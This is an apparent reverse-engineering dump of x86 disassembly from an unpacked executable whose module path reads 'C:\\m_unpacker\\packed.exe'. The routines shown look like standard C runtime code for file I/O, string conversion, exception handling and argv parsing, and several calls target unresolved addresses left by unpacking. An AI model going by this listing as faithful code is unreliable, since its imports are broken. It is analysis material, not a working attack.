		cmp	byte ptr [edx],	0Ah
		jnz	short loc_422745
		inc	[ebp+var_8]


loc_422745:				; CODE XREF: sub_4226CD+73j
		inc	edx
		jmp	short loc_422739
; ---------------------------------------------------------------------------


loc_422748:				; CODE XREF: sub_4226CD+50j
		test	dl, 80h
		jnz	short loc_42275F
		mov	dword_4D9714, 16h


loc_422757:				; CODE XREF: sub_4226CD+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422820
; ---------------------------------------------------------------------------


loc_42275F:				; CODE XREF: sub_4226CD+68j
					; sub_4226CD+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_42276D
		mov	eax, [ebp+var_8]
		jmp	loc_422820
; ---------------------------------------------------------------------------


loc_42276D:				; CODE XREF: sub_4226CD+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422818
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_422786
		and	[ebp+var_8], edx
		jmp	loc_422818
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_4226CD+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DAA60h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_422812
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422633
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4227D9
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4227C4:				; CODE XREF: sub_4226CD+104j
		cmp	eax, ecx
		jnb	short loc_4227D3
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4227D0
		inc	[ebp+arg_0]


loc_4227D0:				; CODE XREF: sub_4226CD+FEj
		inc	eax
		jmp	short loc_4227C4
; ---------------------------------------------------------------------------


loc_4227D3:				; CODE XREF: sub_4226CD+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_42280D
; ---------------------------------------------------------------------------


loc_4227D9:				; CODE XREF: sub_4226CD+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422633
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_422800
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_422800
		test	ch, 4
		jz	short loc_422803


loc_422800:				; CODE XREF: sub_4226CD+124j
					; sub_4226CD+12Cj
		mov	eax, [edi+18h]


loc_422803:				; CODE XREF: sub_4226CD+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_42280D:				; CODE XREF: sub_4226CD+10Aj
		jz	short loc_422812
		inc	[ebp+arg_0]


loc_422812:				; CODE XREF: sub_4226CD+D9j
					; sub_4226CD:loc_42280Dj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422818:				; CODE XREF: sub_4226CD+A4j
					; sub_4226CD+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422820:				; CODE XREF: sub_4226CD+3Cj
					; sub_4226CD+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4226CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422825	proc near		; CODE XREF: sub_41DA54+A2p
					; sub_41E32B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DAB60
		push	esi
		push	edi
		jnb	loc_4229B9
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DAA60h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_4229B9
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_422876


loc_42286F:				; CODE XREF: sub_422825+177j
		xor	eax, eax
		jmp	loc_4229CD
; ---------------------------------------------------------------------------


loc_422876:				; CODE XREF: sub_422825+48j
		test	al, 20h
		jz	short loc_422886
		push	2
		push	edi
		push	ecx
		call	sub_422633
		add	esp, 0Ch


loc_422886:				; CODE XREF: sub_422825+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422955
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_42298D


loc_4228A6:				; CODE XREF: sub_422825+F5j
		lea	eax, [ebp+var_414]


loc_4228AC:				; CODE XREF: sub_422825+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4228E0
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4228CB
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4228CB:				; CODE XREF: sub_422825+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4228AC


loc_4228E0:				; CODE XREF: sub_422825+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_42294A
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_42291C
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_4228A6


loc_42291C:				; CODE XREF: sub_422825+EAj
					; sub_422825+12Ej
		xor	edi, edi


loc_42291E:				; CODE XREF: sub_422825+150j
					; sub_422825+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_4229B4
		cmp	[ebp+arg_0], edi
		jz	short loc_42298D
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422982
		mov	dword_4D9714, 9
		mov	dword_4D9718, eax
		jmp	loc_4229CA
; ---------------------------------------------------------------------------


loc_42294A:				; CODE XREF: sub_422825+E0j
		nop
		call	near ptr 2680DCDh
		mov	[ebp+arg_0], eax
		jmp	short loc_42291C
; ---------------------------------------------------------------------------


loc_422955:				; CODE XREF: sub_422825+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 2720000h
		nop
		test	eax, eax
		jz	short loc_422977
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_42291E
; ---------------------------------------------------------------------------


loc_422977:				; CODE XREF: sub_422825+145j
		call	near ptr 2680DCDh
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_42291E
; ---------------------------------------------------------------------------


loc_422982:				; CODE XREF: sub_422825+10Fj
		push	[ebp+arg_0]
		call	sub_420314
		pop	ecx
		jmp	short loc_4229CA
; ---------------------------------------------------------------------------


loc_42298D:				; CODE XREF: sub_422825+7Bj
					; sub_422825+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_4229A2
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_42286F


loc_4229A2:				; CODE XREF: sub_422825+16Fj
		mov	dword_4D9714, 1Ch
		mov	dword_4D9718, edi
		jmp	short loc_4229CA
; ---------------------------------------------------------------------------


loc_4229B4:				; CODE XREF: sub_422825+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4229CD
; ---------------------------------------------------------------------------


loc_4229B9:				; CODE XREF: sub_422825+15j
					; sub_422825+37j
		and	dword_4D9718, 0
		mov	dword_4D9714, 9


loc_4229CA:				; CODE XREF: sub_422825+120j
					; sub_422825+166j ...
		or	eax, 0FFFFFFFFh


loc_4229CD:				; CODE XREF: sub_422825+4Cj
					; sub_422825+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422825	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4229D2	proc near		; CODE XREF: sub_41DD4A+47p
					; sub_41DD4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4D97E8, edi
		jnz	short loc_422A48
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427908
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_422A26
		mov	dword_4D97E8, ebx
		jmp	short loc_422A48
; ---------------------------------------------------------------------------


loc_422A26:				; CODE XREF: sub_4229D2+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4C91BC
		push	esi
		push	edi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	loc_422B60
		mov	dword_4D97E8, 2


loc_422A48:				; CODE XREF: sub_4229D2+2Ej
					; sub_4229D2+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422A5D
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42605C
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422A5D:				; CODE XREF: sub_4229D2+79j
		mov	eax, dword_4D97E8
		cmp	eax, 2
		jnz	short loc_422A84
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_422B62
; ---------------------------------------------------------------------------


loc_422A84:				; CODE XREF: sub_4229D2+93j
		cmp	eax, 1
		jnz	loc_422B60
		cmp	[ebp+arg_18], edi
		jnz	short loc_422A9A
		mov	eax, dword_4D97E0
		mov	[ebp+arg_18], eax


loc_422A9A:				; CODE XREF: sub_4229D2+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	near ptr 2700000h
		nop
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422B60
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422AF5
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422AF5:				; CODE XREF: sub_4229D2+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422B60
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_422B60
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422B60
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422B74
		cmp	[ebp+arg_14], edi
		jz	loc_422BEF
		cmp	esi, [ebp+arg_14]
		jg	short loc_422B60
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	loc_422BEF


loc_422B60:				; CODE XREF: sub_4229D2+66j
					; sub_4229D2+B5j ...
		xor	eax, eax


loc_422B62:				; CODE XREF: sub_4229D2+ADj
					; sub_4229D2+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422B74:				; CODE XREF: sub_4229D2+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BA8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422BA8:				; CODE XREF: sub_4229D2+1C2j
		cmp	ebx, edi
		jz	short loc_422B60
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_422B60
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422BCF
		push	edi
		push	edi
		jmp	short loc_422BD5
; ---------------------------------------------------------------------------


loc_422BCF:				; CODE XREF: sub_4229D2+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422BD5:				; CODE XREF: sub_4229D2+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 28310EEh
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422B60


loc_422BEF:				; CODE XREF: sub_4229D2+165j
					; sub_4229D2+188j
		mov	eax, esi
		jmp	loc_422B62
sub_4229D2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422D37
		test	eax, eax
		pop	ecx
		jz	loc_422D2B
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422D2B
		cmp	ebx, 5
		jnz	short loc_422C27
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422D34
; ---------------------------------------------------------------------------


loc_422C27:				; CODE XREF: ___:00422C19j
		cmp	ebx, 1
		jz	loc_422D26
		mov	ecx, dword_4D97EC
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4D97EC, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422D16
		mov	ecx, dword_43ACD0
		mov	edx, dword_43ACD4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422C76
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43AC60h[esi*4]


loc_422C6D:				; CODE XREF: ___:00422C74j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422C6D


loc_422C76:				; CODE XREF: ___:00422C5Fj
		mov	eax, [eax]
		mov	esi, dword_43ACDC
		cmp	eax, 0C000008Eh
		jnz	short loc_422C91
		mov	dword_43ACDC, 83h
		jmp	short loc_422D01
; ---------------------------------------------------------------------------


loc_422C91:				; CODE XREF: ___:00422C83j
		cmp	eax, 0C0000090h
		jnz	short loc_422CA4
		mov	dword_43ACDC, 81h
		jmp	short loc_422D01
; ---------------------------------------------------------------------------


loc_422CA4:				; CODE XREF: ___:00422C96j
		cmp	eax, 0C0000091h
		jnz	short loc_422CB7
		mov	dword_43ACDC, 84h
		jmp	short loc_422D01
; ---------------------------------------------------------------------------


loc_422CB7:				; CODE XREF: ___:00422CA9j
		cmp	eax, 0C0000093h
		jnz	short loc_422CCA
		mov	dword_43ACDC, 85h
		jmp	short loc_422D01
; ---------------------------------------------------------------------------


loc_422CCA:				; CODE XREF: ___:00422CBCj
		cmp	eax, 0C000008Dh
		jnz	short loc_422CDD
		mov	dword_43ACDC, 82h
		jmp	short loc_422D01
; ---------------------------------------------------------------------------


loc_422CDD:				; CODE XREF: ___:00422CCFj
		cmp	eax, 0C000008Fh
		jnz	short loc_422CF0
		mov	dword_43ACDC, 86h
		jmp	short loc_422D01
; ---------------------------------------------------------------------------


loc_422CF0:				; CODE XREF: ___:00422CE2j
		cmp	eax, 0C0000092h
		jnz	short loc_422D01
		mov	dword_43ACDC, 8Ah


loc_422D01:				; CODE XREF: ___:00422C8Fj
					; ___:00422CA2j ...
		push	dword_43ACDC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43ACDC, esi
		pop	ecx
		pop	esi
		jmp	short loc_422D1E
; ---------------------------------------------------------------------------


loc_422D16:				; CODE XREF: ___:00422C48j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422D1E:				; CODE XREF: ___:00422D14j
		mov	eax, [ebp+8]
		mov	dword_4D97EC, eax


loc_422D26:				; CODE XREF: ___:00422C2Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_422D34
; ---------------------------------------------------------------------------


loc_422D2B:				; CODE XREF: ___:00422C05j
					; ___:00422C10j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2620D63h


loc_422D34:				; CODE XREF: ___:00422C22j
					; ___:00422D29j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422D37	proc near		; CODE XREF: ___:00422BFDp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43ACD8
		cmp	dword_43AC58, edx
		push	esi
		mov	eax, offset dword_43AC58
		jz	short loc_422D64
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43AC58h[esi*4]


loc_422D59:				; CODE XREF: sub_422D37+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422D64
		cmp	[eax], edx
		jnz	short loc_422D59


loc_422D64:				; CODE XREF: sub_422D37+16j
					; sub_422D37+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43AC58h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422D77
		cmp	[eax], edx
		jz	short locret_422D79


loc_422D77:				; CODE XREF: sub_422D37+3Aj
		xor	eax, eax

locret_422D79:				; CODE XREF: sub_422D37+3Ej
		retn
sub_422D37	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DADAC, 0
		jnz	short loc_422D88
		call	sub_4201A2


loc_422D88:				; CODE XREF: ___:00422D81j
		push	esi
		mov	esi, dword_4DADA4
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422DBA


loc_422D95:				; CODE XREF: ___:00422DADj
					; ___:00422DB0j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422DB2
		test	al, al
		jz	short loc_422DB2
		movzx	eax, al
		push	eax
		call	sub_424C46
		test	eax, eax
		pop	ecx
		jz	short loc_422D95
		inc	esi
		jmp	short loc_422D95
; ---------------------------------------------------------------------------


loc_422DB2:				; CODE XREF: ___:00422D9Bj
					; ___:00422D9Fj
		cmp	byte ptr [esi],	22h
		jnz	short loc_422DC4


loc_422DB7:				; CODE XREF: ___:00422DCCj
		inc	esi
		jmp	short loc_422DC4
; ---------------------------------------------------------------------------


loc_422DBA:				; CODE XREF: ___:00422D93j
		cmp	al, 20h
		jbe	short loc_422DC4


loc_422DBE:				; CODE XREF: ___:00422DC2j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422DBE


loc_422DC4:				; CODE XREF: ___:00422DB5j
					; ___:00422DB8j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422DCE
		cmp	al, 20h
		jbe	short loc_422DB7


loc_422DCE:				; CODE XREF: ___:00422DC8j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DADAC, ebx
		push	esi
		push	edi
		jnz	short loc_422DE4
		call	sub_4201A2


loc_422DE4:				; CODE XREF: ___:00422DDDj
		mov	esi, dword_4D9788
		xor	edi, edi


loc_422DEC:				; CODE XREF: ___:00422E02j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422E04
		cmp	al, 3Dh
		jz	short loc_422DF7
		inc	edi


loc_422DF7:				; CODE XREF: ___:00422DF4j
		push	esi
		call	sub_41B960
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422DEC
; ---------------------------------------------------------------------------


loc_422E04:				; CODE XREF: ___:00422DF0j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4D973C, esi
		jnz	short loc_422E26
		push	9
		call	sub_41E1C9
		pop	ecx


loc_422E26:				; CODE XREF: ___:00422E1Cj
		mov	edi, dword_4D9788
		cmp	[edi], bl
		jz	short loc_422E69
		push	ebp


loc_422E31:				; CODE XREF: ___:00422E66j
		push	edi
		call	sub_41B960
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422E62
		push	ebp
		call	sub_41BC9B
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422E55
		push	9
		call	sub_41E1C9
		pop	ecx


loc_422E55:				; CODE XREF: ___:00422E4Bj
		push	edi
		push	dword ptr [esi]
		call	sub_41C620
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422E62:				; CODE XREF: ___:00422E3Ej
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422E31
		pop	ebp


loc_422E69:				; CODE XREF: ___:00422E2Ej
		push	dword_4D9788
		call	sub_41BA31
		pop	ecx
		mov	dword_4D9788, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DADA8, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DADAC, ebx
		push	esi
		push	edi
		jnz	short loc_422EA2
		call	sub_4201A2


loc_422EA2:				; CODE XREF: ___:00422E9Bj
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		mov	eax, dword_4DADA4
		mov	off_4D974C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422EC7
		mov	edi, eax


loc_422EC7:				; CODE XREF: ___:00422EC3j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_422F24
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BC9B
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422EF7
		push	8
		call	sub_41E1C9
		pop	ecx


loc_422EF7:				; CODE XREF: ___:00422EEDj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_422F24
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4D9734, esi
		pop	edi
		pop	esi
		mov	dword_4D9730, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F24	proc near		; CODE XREF: ___:00422ED2p
					; ___:00422F08p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_422F4E
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_422F4E:				; CODE XREF: sub_422F24+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_422F97


loc_422F53:				; CODE XREF: sub_422F24+58j
					; sub_422F24+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_422F85
		test	dl, dl
		jz	short loc_422F85
		movzx	edx, dl
		test	byte_4DAC81[edx], 4
		jz	short loc_422F78
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422F78
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_422F78:				; CODE XREF: sub_422F24+46j
					; sub_422F24+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422F53
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_422F53
; ---------------------------------------------------------------------------


loc_422F85:				; CODE XREF: sub_422F24+36j
					; sub_422F24+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422F8F
		and	byte ptr [esi],	0
		inc	esi


loc_422F8F:				; CODE XREF: sub_422F24+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_422FDA
		inc	eax
		jmp	short loc_422FDA
; ---------------------------------------------------------------------------


loc_422F97:				; CODE XREF: sub_422F24+2Dj
					; sub_422F24+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422FA2
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_422FA2:				; CODE XREF: sub_422F24+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DAC81[ebx], 4
		jz	short loc_422FBD
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422FBC
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_422FBC:				; CODE XREF: sub_422F24+91j
		inc	eax


loc_422FBD:				; CODE XREF: sub_422F24+8Bj
		cmp	dl, 20h
		jz	short loc_422FCB
		test	dl, dl
		jz	short loc_422FCF
		cmp	dl, 9
		jnz	short loc_422F97


loc_422FCB:				; CODE XREF: sub_422F24+9Cj
		test	dl, dl
		jnz	short loc_422FD2


loc_422FCF:				; CODE XREF: sub_422F24+A0j
		dec	eax
		jmp	short loc_422FDA
; ---------------------------------------------------------------------------


loc_422FD2:				; CODE XREF: sub_422F24+A9j
		test	esi, esi
		jz	short loc_422FDA
		and	byte ptr [esi-1], 0


loc_422FDA:				; CODE XREF: sub_422F24+6Ej
					; sub_422F24+71j ...
		and	[ebp+arg_10], 0


loc_422FDE:				; CODE XREF: sub_422F24+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4230C7


loc_422FE7:				; CODE XREF: sub_422F24+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_422FF3
		cmp	dl, 9
		jnz	short loc_422FF6


loc_422FF3:				; CODE XREF: sub_422F24+C8j
		inc	eax
		jmp	short loc_422FE7
; ---------------------------------------------------------------------------


loc_422FF6:				; CODE XREF: sub_422F24+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4230C7
		test	edi, edi
		jz	short loc_42300B
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42300B:				; CODE XREF: sub_422F24+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423010:				; CODE XREF: sub_422F24+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423019:				; CODE XREF: sub_422F24+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423022
		inc	eax
		inc	ebx
		jmp	short loc_423019
; ---------------------------------------------------------------------------


loc_423022:				; CODE XREF: sub_422F24+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423053
		test	bl, 1
		jnz	short loc_423051
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423040
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423040
		mov	eax, edx
		jmp	short loc_423043
; ---------------------------------------------------------------------------


loc_423040:				; CODE XREF: sub_422F24+10Dj
					; sub_422F24+116j
		mov	[ebp+arg_0], edi


loc_423043:				; CODE XREF: sub_422F24+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423051:				; CODE XREF: sub_422F24+106j
		shr	ebx, 1


loc_423053:				; CODE XREF: sub_422F24+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423068
		inc	ebx


loc_42305B:				; CODE XREF: sub_422F24+142j
		test	esi, esi
